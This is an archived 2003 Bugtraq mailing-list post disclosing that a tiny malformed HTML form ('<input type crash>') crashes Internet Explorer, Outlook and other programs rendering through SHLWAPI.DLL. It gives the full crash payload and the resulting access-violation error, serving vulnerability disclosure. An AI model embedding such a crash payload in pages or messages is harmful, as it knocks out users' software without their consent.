[29834] in bugtraq
IE / Outlook / MS SHLWAPI Render - more trivial crash
daemon@ATHENA.MIT.EDU (Ramon Pinuaga Cascales)
Tue Apr 22 11:54:50 2003
Date: Tue, 22 Apr 2003 00:07:20 +0200
From: Ramon Pinuaga Cascales <rpinuaga@s21sec.com>
Reply-To: Ramon Pinuaga Cascales <rpinuaga@s21sec.com>
Message-ID: <5147055902.20030422000720@s21sec.com>
To: bugtraq@securityfocus.com
In-Reply-To: <00d801c305e7$caa06780$dd6ffea9@v>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hola:
Well, as it seems that is the Microsoft Crash mounth, let see another one:
---------------------------------
<html>
<form>
<input type crash>
</form>
</html>
---------------------------------
This will crash IE with the following error:
"Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
Violation"
It's a null pointer overwrite, so it's not easly exploitable...
This HTML also crash Outlook, Frontpage, and all the Microsoft
programs that use the shlwapi.dll library to render web code.
Plain HTML is a dangerous language :)
--
Saludos,
Ramon Pinuaga Cascales
mailto:rpinuaga@s21sec.com
Analista de Seguridad Telematica
Tfno: 620921960
--
